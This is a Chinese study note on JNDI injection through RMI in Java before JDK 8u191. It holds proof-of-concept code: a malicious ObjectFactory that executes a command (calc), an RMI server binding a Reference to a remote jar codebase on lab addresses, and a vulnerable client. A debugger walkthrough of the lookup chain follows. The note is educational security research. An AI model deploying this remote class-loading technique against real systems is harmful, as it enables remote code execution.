前言:在笔记JNDI注入(一)中把jdk8u 191之前的远程恶意加载类(rmi rmi+jndi ldap+jndi)都进行了介绍和复现之后,这篇来讲8u191之前的两种jndi注入方式的原理
jndi注入之rmi
ReferenceObjectFactory
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("calc");
}
}
RMIServer
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://127.0.0.1:81/CollectionsSerializable.jar";
// 对象的工厂类名
String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(9527);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象,
// 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
// 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMIClient,这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内,如果是ldap+jndi的话我181则可以不用开启trustURLCodebase
public class RMIReferenceClientTest{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
打断点
getURLOrDefaultInitCtx方法
getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context
接着继续来到lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文
接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称
接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是传输来请求获取绑定在服务端注册中心上的对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub
获得了stub对象后,又开始进行decodeObject方法
这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法
就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance
先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回
这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance
最后调用了指定codebase的jar包中的指定的类名,我这里是给了调用栈,原因是我这里跟不到远程的jar包里面
最终F8一下,就执行了我们重写的getObjectInstance方法中的内容,上面我写的是执行calc,所以这里就弹出来计算器